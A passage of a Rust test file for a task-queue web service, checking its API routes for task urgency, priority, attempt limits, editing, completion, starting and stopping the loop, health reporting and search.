Ok(Json(UrgentBody { urgent: true })),
)
.await
.unwrap_err();
assert_eq!(error.status, StatusCode::CONFLICT);
assert!(error.message.contains("released"));
drop(claim);
for status in [
TaskStatus::Running,
TaskStatus::Done,
TaskStatus::Failed,
TaskStatus::Blocked,
TaskStatus::Parked,
] {
task.status = status;
q.put(&mut task).unwrap();
let error = queue_urgent(
State(Arc::clone(&ui)),
Path(task.id.clone()),
Ok(Json(UrgentBody { urgent: false })),
)
.await
.unwrap_err();
assert_eq!(error.status, StatusCode::BAD_REQUEST);
assert!(error.message.contains(status.as_str()));
}
}
#[tokio::test]
async fn urgent_api_updates_preserves_and_validates_tasks() {
let f = Fixture::start().await;
let q = f.queue();
let mut t = Task::new(
"urgent API".into(),
"unchanged".into(),
PathBuf::from("/repo/magi"),
Source::Human,
);
t.attempts = 2;
t.priority = 9;
t.interrupt = true;
t.hold_reason = Some("waiting for approval".into());
for status in [TaskStatus::Queued, TaskStatus::Held] {
t.status = status;
q.put(&mut t).unwrap();
for urgent in [true, true, false, false] {
let response = f
.post(
&format!("/api/queue/{}/urgent", t.short()),
Some(&format!("{{\"urgent\":{urgent}}}")),
)
.await;
assert_eq!(response.status, 200, "{}", response.body);
assert_eq!(response.json()["urgent"], urgent);
let saved = q.get(&t.id).unwrap();
let mut before = serde_json::to_value(&t).unwrap();
let mut after = serde_json::to_value(saved).unwrap();
before["urgent"] = urgent.into();
before.as_object_mut().unwrap().remove("updated_at");
after.as_object_mut().unwrap().remove("updated_at");
assert_eq!(after, before);
}
}
let route = format!("/api/queue/{}/urgent", t.id);
for body in [
r#"{}"#,
r#"{"urgent":null}"#,
r#"{"urgent":"true"}"#,
r#"{"urgent":1}"#,
r#"{"urgent":true,"extra":false}"#,
"{",
] {
assert_eq!(f.post(&route, Some(body)).await.status, 400);
}
t.status = TaskStatus::Queued;
q.put(&mut t).unwrap();
let claim = q.claim(&t.id).unwrap();
let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
assert_eq!(response.status, 409, "{}", response.body);
assert!(!q.get(&t.id).unwrap().urgent);
drop(claim);
for status in [
TaskStatus::Running,
TaskStatus::Done,
TaskStatus::Failed,
TaskStatus::Blocked,
TaskStatus::Parked,
] {
t.status = status;
q.put(&mut t).unwrap();
for urgent in [true, false] {
let response = f
.post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
.await;
assert_eq!(response.status, 400, "{}", response.body);
assert!(response.body.contains(status.as_str()));
assert!(response.body.contains("queued or held"));
assert!(!q.get(&t.id).unwrap().urgent);
}
}
assert_eq!(
f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
.await
.status,
404
);
}
#[tokio::test]
async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
let f = Fixture::start().await;
let queue = f.queue();
let mut older = Task::new(
"filed first".to_owned(),
"x".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
older.id = "20260101-000001-aaaa".to_owned();
let mut newer = Task::new(
"filed second".to_owned(),
"x".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
newer.id = "20260101-000002-bbbb".to_owned();
queue.put(&mut older).expect("file older");
queue.put(&mut newer).expect("file newer");
let before = f.get("/api/queue").await.json();
assert_eq!(before[0]["id"], newer.id);
assert_eq!(before[1]["id"], older.id);
let raised = f
.post(
&format!("/api/queue/{}/priority", older.id),
Some(r#"{"priority":10}"#),
)
.await;
assert_eq!(raised.status, 200, "{}", raised.body);
assert_eq!(raised.json()["priority"], 10);
let after = f.get("/api/queue").await.json();
let names: Vec<&str> = after
.as_array()
.unwrap()
.iter()
.map(|t| t["id"].as_str().unwrap())
.collect();
assert_eq!(names[0], older.id, "the raised task now sorts first");
}
#[tokio::test]
async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
let dir = TempDir::new().unwrap();
let q = Queue::at(dir.path().join("queue"));
let ui = Arc::new(Ui::new(
q.clone(),
Questions::at(dir.path().join("questions")),
Talks::at(dir.path().join("talks")),
dir.path().join("runs"),
dir.path().to_path_buf(),
dir.path().to_path_buf(),
));
let mut t = Task::new(
"budget".into(),
"keep".into(),
dir.path().into(),
Source::Human,
);
t.attempts = 2;
t.runs.push("prior-run".into());
t.hold_manual(Some("waiting".into()));
q.put(&mut t).unwrap();
let change = |value| {
queue_attempt_limit(
State(ui.clone()),
Path(t.id.clone()),
Ok(Json(AttemptLimitBody {
attempt_limit: value,
})),
)
};
for value in [
serde_json::json!(3),
serde_json::Value::Null,
serde_json::json!(1),
] {
let response = change(value.clone()).await.unwrap();
assert_eq!(
serde_json::to_value(response.0).unwrap()["attempt_limit"],
value
);
let saved = q.get(&t.id).unwrap();
assert_eq!(
serde_json::to_value(&saved).unwrap()["attempt_limit"],
value
);
assert_eq!(saved.status, TaskStatus::Held);
assert_eq!(saved.attempts, t.attempts);
assert_eq!(saved.runs, t.runs);
assert_eq!(saved.hold_reason, t.hold_reason);
let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
.await
.unwrap()
.0;
assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
assert_eq!(detail.flow.max_attempts, detail.max_attempts);
let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
assert_eq!(outcome.max_attempts, detail.max_attempts);
}
for value in [
serde_json::json!(0),
serde_json::json!(-1),
serde_json::json!(1.5),
serde_json::json!("3"),
serde_json::json!(true),
] {
assert_eq!(
change(value).await.err().unwrap().status,
StatusCode::BAD_REQUEST
);
}
assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
let claim = q.claim(&t.id).unwrap();
assert_eq!(
change(serde_json::json!(4)).await.err().unwrap().status,
StatusCode::CONFLICT
);
drop(claim);
for status in [
TaskStatus::Running,
TaskStatus::Done,
TaskStatus::Failed,
TaskStatus::Blocked,
TaskStatus::Parked,
] {
let mut stored = q.get(&t.id).unwrap();
stored.status = status;
q.put(&mut stored).unwrap();
assert_eq!(
change(serde_json::json!(4)).await.err().unwrap().status,
StatusCode::BAD_REQUEST
);
assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
}
let mut stored = q.get(&t.id).unwrap();
stored.status = TaskStatus::Queued;
q.put(&mut stored).unwrap();
let _ = change(serde_json::Value::Null).await.unwrap();
assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
}
#[tokio::test]
async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
let dir = TempDir::new().unwrap();
let repo = dir.path().join("repo");
std::fs::create_dir(&repo).unwrap();
std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
let q = Queue::at(dir.path().join("queue"));
let ui = Arc::new(Ui::new(
q.clone(),
Questions::at(dir.path().join("questions")),
Talks::at(dir.path().join("talks")),
dir.path().join("runs"),
dir.path().to_path_buf(),
repo.clone(),
));
let mut t = Task::new(
"seats".into(),
"keep instruction".into(),
repo,
Source::Human,
);
t.runs.push("prior-run".into());
t.hold_manual(Some("waiting".into()));
q.put(&mut t).unwrap();
let change = |count| {
queue_implementers(
State(ui.clone()),
Path(t.id.clone()),
Ok(Json(ImplementersBody {
implementers: count,
})),
)
};
for count in [2, 1, 2] {
let response = change(count).await.unwrap();
assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
let saved = q.get(&t.id).unwrap();
assert_eq!(saved.implementers(), Some(usize::from(count)));
assert_eq!(saved.runs, t.runs);
assert_eq!(saved.instruction, t.instruction);
}
for count in [0, 4] {
assert_eq!(
change(count).await.err().unwrap().status,
StatusCode::BAD_REQUEST
);
}
assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
let claim = q.claim(&t.id).unwrap();
assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
drop(claim);
for status in [
TaskStatus::Running,
TaskStatus::Done,
TaskStatus::Failed,
TaskStatus::Blocked,
TaskStatus::Parked,
] {
let mut stored = q.get(&t.id).unwrap();
stored.status = status;
q.put(&mut stored).unwrap();
assert_eq!(
change(1).await.err().unwrap().status,
StatusCode::BAD_REQUEST
);
assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
}
}
#[tokio::test]
async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"in flight".to_owned(),
"x".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.start("20260902-140502-bbbb".to_owned());
queue.put(&mut task).expect("file the task");
let res = f
.post(
&format!("/api/queue/{}/priority", task.id),
Some(r#"{"priority":9}"#),
)
.await;
assert_eq!(res.status, 400, "{}", res.body);
assert!(
res.json()["error"]
.as_str()
.is_some_and(|e| e.contains("running")),
"{}",
res.body
);
assert_eq!(
queue.get(&task.id).expect("reload").priority,
0,
"the refused write must not partially apply"
);
}
#[tokio::test]
async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"old title".to_owned(),
"old instruction".to_owned(),
PathBuf::from("/repo/magi"),
Source::Agent {
run: "20260101-000000-beef".to_owned(),
node: "implement".to_owned(),
},
);
task.runs.push("20260101-000000-beef".to_owned());
queue.put(&mut task).expect("file the task");
let created_at = task.created_at;
let edited = f
.post(
&format!("/api/queue/{}/edit", task.id),
Some(r#"{"title":"new title","instruction":"new instruction"}"#),
)
.await;
assert_eq!(edited.status, 200, "{}", edited.body);
let body = edited.json();
assert_eq!(body["title"], "new title");
assert_eq!(body["instruction"], "new instruction");
assert_eq!(body["id"], task.id, "editing must not mint a new id");
assert_eq!(body["created_at"], created_at.to_string());
assert_eq!(
body["source"]["kind"], "agent",
"editing a task an agent filed must not turn it human: {body}"
);
assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
let reloaded = queue.get(&task.id).expect("reload");
assert_eq!(reloaded.title, "new title");
assert_eq!(reloaded.instruction, "new instruction");
}
#[tokio::test]
async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
let judge = MOCK_AGENT_TOML.replace(
"printf ok",
r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
);
std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
let f = Fixture::with_repo(repo.clone()).await;
let queue = f.queue();
let mut owner = Task::new(
"owner".to_owned(),
"review it".to_owned(),
repo.clone(),
Source::Human,
);
owner.review_branch = Some("magi/ab12/A".to_owned());
queue.put(&mut owner).expect("file the owner");
let mut task = Task::new(
"draft".to_owned(),
"old".to_owned(),
repo.clone(),
Source::Human,
);
queue.put(&mut task).expect("file the draft");
let url = format!("/api/queue/{}/edit", task.id);
let refused = f
.post(
&url,
Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
)
.await;
assert_eq!(refused.status, 409, "{}", refused.body);
let msg = refused.json()["error"]
.as_str()
.unwrap_or_default()
.to_owned();
assert!(
msg.contains("magi/ab12/A") && msg.contains("force"),
"{msg}"
);
assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
let forced = f
.post(
&url,
Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
)
.await;
assert_eq!(forced.status, 200, "{}", forced.body);
}
#[tokio::test]
async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"in flight".to_owned(),
"do not touch".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.start("20260902-140502-bbbb".to_owned());
queue.put(&mut task).expect("file the task");
let res = f
.post(
&format!("/api/queue/{}/edit", task.id),
Some(r#"{"title":"x","instruction":"y"}"#),
)
.await;
assert_eq!(res.status, 400, "{}", res.body);
assert!(
res.json()["error"]
.as_str()
.is_some_and(|e| e.contains("running")),
"{}",
res.body
);
assert_eq!(
queue.get(&task.id).expect("reload").instruction,
"do not touch",
"the refused edit must not change the file"
);
}
#[tokio::test]
async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"busy".to_owned(),
"Running right now".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
queue.put(&mut task).expect("file the task");
let _claim = queue.claim(&task.id).expect("stand in for the daemon");
let priority = f
.post(
&format!("/api/queue/{}/priority", task.id),
Some(r#"{"priority":9}"#),
)
.await;
assert_eq!(priority.status, 409, "{}", priority.body);
let edit = f
.post(
&format!("/api/queue/{}/edit", task.id),
Some(r#"{"title":"x","instruction":"y"}"#),
)
.await;
assert_eq!(edit.status, 409, "{}", edit.body);
}
#[tokio::test]
async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"shipped by hand".to_owned(),
"merged outside the loop".to_owned(),
PathBuf::from("/repo/magi"),
Source::Agent {
run: "20260101-000000-b455".to_owned(),
node: "implement".to_owned(),
},
);
task.runs.push("20260101-000000-b455".to_owned());
task.runs.push("20260101-000000-9af4".to_owned());
queue.put(&mut task).expect("file the task");
let created_at = task.created_at;
let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
assert_eq!(done.status, 200, "{}", done.body);
assert_eq!(done.json()["status_str"], "done");
let reloaded = queue.get(&task.id).expect("a done task is still on disk");
assert_eq!(
reloaded.runs,
["20260101-000000-b455", "20260101-000000-9af4"]
);
assert_eq!(
reloaded.source,
Source::Agent {
run: "20260101-000000-b455".to_owned(),
node: "implement".to_owned(),
}
);
assert_eq!(reloaded.created_at, created_at);
}
#[tokio::test]
async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"landed while held".to_owned(),
"x".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.hold_manual(Some("waiting on 3ed9".to_owned()));
queue.put(&mut task).expect("file the held task");
let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
assert_eq!(done.status, 200, "{}", done.body);
assert_eq!(done.json()["status_str"], "done");
assert!(
done.json()["hold_reason"].is_null(),
"a done task cannot still be waiting on something: {}",
done.body
);
}
#[tokio::test]
async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
let f = Fixture::start().await;
let queue = f.queue();
let runs = f.runs();
write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
let mut task = Task::new(
"landed by hand".to_owned(),
"x".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.runs.push("20260101-000000-doa1".to_owned());
task.runs.push("20260101-000000-doa2".to_owned());
queue.put(&mut task).expect("file the task");
let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
assert_eq!(done.status, 200, "{}", done.body);
let reloaded_run = read_run(&runs, "20260101-000000-doa1")
.expect("run still on disk under this fixture's own home");
assert_eq!(
reloaded_run.status,
RunStatus::Superseded,
"closing the task by hand must relabel the earlier blocked attempt exactly \
like the loop's own settle path does"
);
}
#[tokio::test]
async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
let f = Fixture::start().await;
let queue = f.queue();
let runs = f.runs();
write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
let mut task = Task::new(
"closed with nothing actually landed".to_owned(),
"x".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.runs.push("20260101-000000-dob1".to_owned());
task.runs.push("20260101-000000-dob2".to_owned());
queue.put(&mut task).expect("file the task");
let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
assert_eq!(done.status, 200, "{}", done.body);
let reloaded_run = read_run(&runs, "20260101-000000-dob1")
.expect("run still on disk under this fixture's own home");
assert_eq!(
reloaded_run.status,
RunStatus::Blocked,
"the last recorded attempt never landed, so the earlier one must not be \
relabelled as superseded by it"
);
}
#[tokio::test]
async fn unknown_ids_are_json_not_found_on_both_stores() {
let f = Fixture::start().await;
let run = f.get("/api/runs/nosuchrun").await;
let task = f.post("/api/queue/nosuchtask/hold", None).await;
assert_eq!(run.status, 404);
assert_eq!(task.status, 404);
assert!(
run.json()["error"]
.as_str()
.is_some_and(|e| e.contains("run")),
"the error names what was not found: {}",
run.body
);
assert!(
task.json()["error"]
.as_str()
.is_some_and(|e| e.contains("task")),
"the error names what was not found: {}",
task.body
);
}
#[tokio::test]
async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
let f = Fixture::start().await;
let missing = f.get("/api/health").await.json();
assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
write_daemon(
f.home.path(),
Timestamp::now() - jiff::SignedDuration::from_secs(60),
);
let stale = f.get("/api/health").await.json();
assert_eq!(
stale["daemon"]["running"], false,
"a minute without a heartbeat is a dead daemon, not a busy one"
);
assert!(
stale["daemon"]["stale_for_secs"]
.as_i64()
.is_some_and(|s| s >= 55),
"staleness is reported so the UI can say how long: {stale}"
);
write_daemon(f.home.path(), Timestamp::now());
let fresh = f.get("/api/health").await.json();
assert_eq!(fresh["daemon"]["running"], true);
assert_eq!(fresh["daemon"]["idle"], false);
assert_eq!(fresh["daemon"]["pid"], 4242);
assert_eq!(fresh["daemon"]["completed"], 7);
assert_eq!(
fresh["daemon"]["current"][0]["task"],
"20260902-140501-aaaa"
);
assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
}
#[tokio::test]
async fn the_loop_is_not_running_until_something_starts_it() {
let f = Fixture::start().await;
let view = f.get("/api/loop").await.json();
assert_eq!(view["running"], false);
assert_eq!(
view["owned"], false,
"nobody owns a loop that does not exist: {view}"
);
assert_eq!(view["stopping"], false);
assert_eq!(view["last_error"], Value::Null);
assert_eq!(view["daemon"]["running"], false);
assert_eq!(
view["repo"], "/repo/magi",
"the repository a start would use, named before it is started"
);
}
#[tokio::test]
async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
let f = Fixture::start().await;
let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(res.status, 200, "{}", res.body);
let view = res.json();
assert_eq!(view["running"], true);
assert_eq!(
view["owned"], true,
"the loop the UI started is the UI's own to stop: {view}"
);
assert_eq!(
view["merge"],
Value::Null,
"no override was given, so each repository's own config decides"
);
let health = f.get("/api/health").await.json();
assert_eq!(health["loop"]["running"], true, "{health}");
assert_eq!(health["loop"]["owned"], true, "{health}");
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
let f = Fixture::start().await;
let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(first.status, 200, "{}", first.body);
let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(
again.status, 409,
"two loops on one queue race for the same claims: {}",
again.body
);
assert!(
again.json()["error"]
.as_str()
.is_some_and(|e| e.contains("already running the loop")),
"the refusal has to say why: {}",
again.body
);
assert_eq!(
f.get("/api/loop").await.json()["running"],
true,
"and the loop that was already running is untouched by it"
);
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
let f = Fixture::start().await;
f.post("/api/loop", Some(r#"{"running":true}"#)).await;
let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
assert_eq!(
res.status, 200,
"the answer must not wait for the loop: a run in flight is tens of \
minutes and the operator is holding a phone: {}",
res.body
);
let view = settled(&f, |v| v["running"] == false).await;
assert_eq!(view["owned"], false);
assert_eq!(
view["stopping"], false,
"a loop that has stopped is not still stopping: {view}"
);
assert_eq!(
view["last_error"],
Value::Null,
"a loop that was asked to stop did not fail: {view}"
);
let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
assert_eq!(twice.status, 200, "{}", twice.body);
}
#[tokio::test]
async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
let f = Fixture::start().await;
write_daemon(f.home.path(), Timestamp::now());
let view = f.get("/api/loop").await.json();
assert_eq!(view["running"], false, "not in this process: {view}");
assert_eq!(view["owned"], false, "and not this process's to control");
assert_eq!(
view["daemon"]["running"], true,
"but a loop is alive somewhere, which is what the UI must say"
);
assert_eq!(view["daemon"]["pid"], 4242);
for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
let res = f.post("/api/loop", Some(body)).await;
assert_eq!(
res.status, 409,
"neither button may pretend to work on someone else's loop: {}",
res.body
);
assert!(
res.json()["error"]
.as_str()
.is_some_and(|e| e.contains("4242")),
"the refusal has to name the process the operator must go to: {}",
res.body
);
}
assert_eq!(
f.get("/api/loop").await.json()["running"],
false,
"and the refusal started nothing"
);
}
#[tokio::test]
async fn a_stale_status_file_is_not_a_foreign_owner() {
let f = Fixture::start().await;
write_daemon(
f.home.path(),
Timestamp::now() - jiff::SignedDuration::from_secs(60),
);
let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(
res.status, 200,
"a daemon killed a minute ago must not lock the loop out of its \
own home for good: {}",
res.body
);
assert_eq!(res.json()["running"], true);
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
let f = Fixture::start().await;
let before = f.get("/api/health").await.json()["loop_rev"]
.as_u64()
.expect("a loop revision");
f.post("/api/loop", Some(r#"{"running":true}"#)).await;
let after = f.get("/api/health").await.json()["loop_rev"]
.as_u64()
.expect("a loop revision");
assert!(
after > before,
"the loop is in-process state, so this counter is the only thing \
that tells a second device the first one started it: {before} -> \
{after}"
);
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
let f = Fixture::with_loop(launch_broken).await;
let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(
res.status, 200,
"starting it is not the failure: {}",
res.body
);
let view = settled(&f, |v| v["last_error"].is_string()).await;
assert_eq!(
view["running"], false,
"a loop that died must not read as running, or the operator has \
nothing to press: {view}"
);
assert_eq!(view["owned"], false);
assert!(
view["last_error"]
.as_str()
.is_some_and(|e| e.contains("read-only file system")),
"the phone is where a loop that died at 3am is visible: {view}"
);
let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(again.status, 200, "{}", again.body);
assert!(
again.json()["last_error"]
.as_str()
.is_none_or(|e| !e.contains("read-only file system")),
"a fresh start does not keep showing why the last one died: {}",
again.body
);
}
#[tokio::test]
async fn a_newer_daemon_status_file_still_renders() {
let f = Fixture::start().await;
std::fs::write(
f.home.path().join("daemon.json"),
serde_json::json!({
"schema": 2,
"updated_at": Timestamp::now().to_string(),
"idle": true,
"surprise": { "nested": [1, 2, 3] },
})
.to_string(),
)
.expect("write daemon.json");
let health = f.get("/api/health").await;
assert_eq!(health.status, 200);
assert_eq!(health.json()["daemon"]["running"], true);
}
#[tokio::test]
async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
let broken = f.runs().join("20260902-140502-bad");
std::fs::create_dir_all(&broken).expect("run dir");
std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
let list = f.get("/api/runs").await;
let detail = f.get("/api/runs/20260902-140502-bad").await;
assert_eq!(list.status, 200);
let listed = list.json();
let ids: Vec<&str> = listed
.as_array()
.expect("an array")
.iter()
.map(|r| r["id"].as_str().expect("an id"))
.collect();
assert_eq!(
ids,
vec!["20260902-140501-good"],
"one unreadable run must not cost the operator the whole history"
);
assert_eq!(detail.status, 500);
assert!(
detail.json()["error"]
.as_str()
.is_some_and(|e| e.contains("run.json")),
"the failure names the file to look at: {}",
detail.body
);
let health = f.get("/api/health").await;
assert_eq!(health.json()["runs_unreadable"], 1);
}
#[tokio::test]
async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
let f = Fixture::start().await;
let runs = f.runs();
write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
let path = runs.join("20260902-140502-bbbb").join("run.json");
let mut v: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
std::fs::write(&path, v.to_string()).unwrap();
std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
std::fs::write(
runs.join("20260902-140503-cccc").join("run.json"),
"{ not json",
)
.unwrap();
let res = f.get("/api/search?scope=runs&q=quokka").await;
assert_eq!(res.status, 200, "{}", res.body);
let v = res.json();
assert_eq!(v["total"], 1, "{v}");
assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
assert_eq!(v["hits"][0]["field"], "text");
assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
let parts = v["hits"][0]["snippet"].as_array().unwrap();
assert!(
parts
.iter()
.any(|p| p["hit"] == true && p["text"] == "Quokka"),
"{v}"
);
let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
assert_eq!(
flat, "The Quokka leaks across threads",
"whitespace is collapsed"
);
let both = f
.get("/api/search?scope=runs&q=MOBILE%20quokka")
.await
.json();
assert_eq!(both["total"], 1, "{both}");
let neither = f
.get("/api/search?scope=runs&q=quokka%20zebra")
.await
.json();
assert_eq!(neither["total"], 0, "{neither}");
let stmt = f
.get("/api/search?scope=runs&q=mobile%20first")
.await
.json();
assert_eq!(stmt["total"], 2, "{stmt}");
let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
}
#[test]
fn snippet_ignores_terms_longer_than_the_field() {
let terms = ["ok".to_owned(), "elephant".to_owned()];
let parts = snippet_of("ok", &terms);
assert_eq!(
parts,
vec![SnippetPart {
text: "ok".to_owned(),
hit: true
}]
);
}
#[test]
fn snippet_marks_matches_longer_than_the_window() {
let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
let hit_len = |parts: &[SnippetPart]| -> usize {
parts
.iter()
.filter(|p| p.hit)
.map(|p| p.text.chars().count())
.sum()
};
let total =
|parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
let long = "a".repeat(120);
let parts = snippet_of(&long, std::slice::from_ref(&long));
assert!(hit_len(&parts) > 0, "{parts:?}");
assert!(total(&parts) <= cap);
let ja = "あ".repeat(130);
let parts = snippet_of(&ja, std::slice::from_ref(&ja));
assert!(hit_len(&parts) > 0, "{parts:?}");
assert!(total(&parts) <= cap);
let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
let term = format!("ab{}", "c".repeat(100));
let parts = snippet_of(&text, &["ab ".to_owned(), term]);
assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
assert!(total(&parts) <= cap);
let text = format!("{}z", "a".repeat(119));
let parts = snippet_of(&text, &["a".repeat(120)]);
assert_eq!(hit_len(&parts), 0, "{parts:?}");
}
#[tokio::test]
async fn search_caps_hits_and_snippet_length() {
let f = Fixture::start().await;
let runs = f.runs();
for n in 0..(SEARCH_MAX_HITS + 5) {
write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
}
let v = f.get("/api/search?scope=runs&q=web").await.json();
assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
assert_eq!(v["truncated"], true);
assert!(
v["hits"]
.as_array()
.unwrap()
.iter()
.all(|h| h["run"]["status"] == "merged")
);
let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
let parts = snippet_of(&long, &["needle".to_owned()]);
let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
}
#[tokio::test]
async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
let f = Fixture::start().await;
let queue = f.queue();
let mut t = Task::new(
"short title".to_owned(),
"line one\nthe hidden Armadillo detail".to_owned(),
PathBuf::from("/repo/magi"),
Source::Agent {
run: "r1".to_owned(),
node: "chat".to_owned(),
},
);
t.last_error = Some("disk full on /tmp".to_owned());
queue.put(&mut t).expect("file the task");
for (q, want) in [
("armadillo", 1),
("disk%20FULL", 1),
("chat", 1),
("queued", 1),
("short%20nothing", 0),
] {
let v = f
.get(&format!("/api/search?scope=tasks&q={q}"))
.await
.json();
assert_eq!(v["total"], want, "{q}: {v}");
}
for bad in [
"/api/search?scope=tasks&q=",
"/api/search?scope=tasks&q=%20",
"/api/search?scope=chats&q=",
"/api/search?scope=chats&q=%20",
"/api/search?scope=nope&q=a",
"/api/search?q=a",
] {
assert_eq!(f.get(bad).await.status, 400, "{bad}");
}
}
fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
.expect("seat value");
let turns: Vec<serde_json::Value> = turns
.iter()
.map(|(who, body)| {
serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
})
.collect();
let doc = serde_json::json!({
"schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
"status": status, "turns": turns,
"created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
"seat": seat,
});
let dir = f.home.path().join("talks");
std::fs::create_dir_all(&dir).expect("talks dir");
std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
}
#[test]
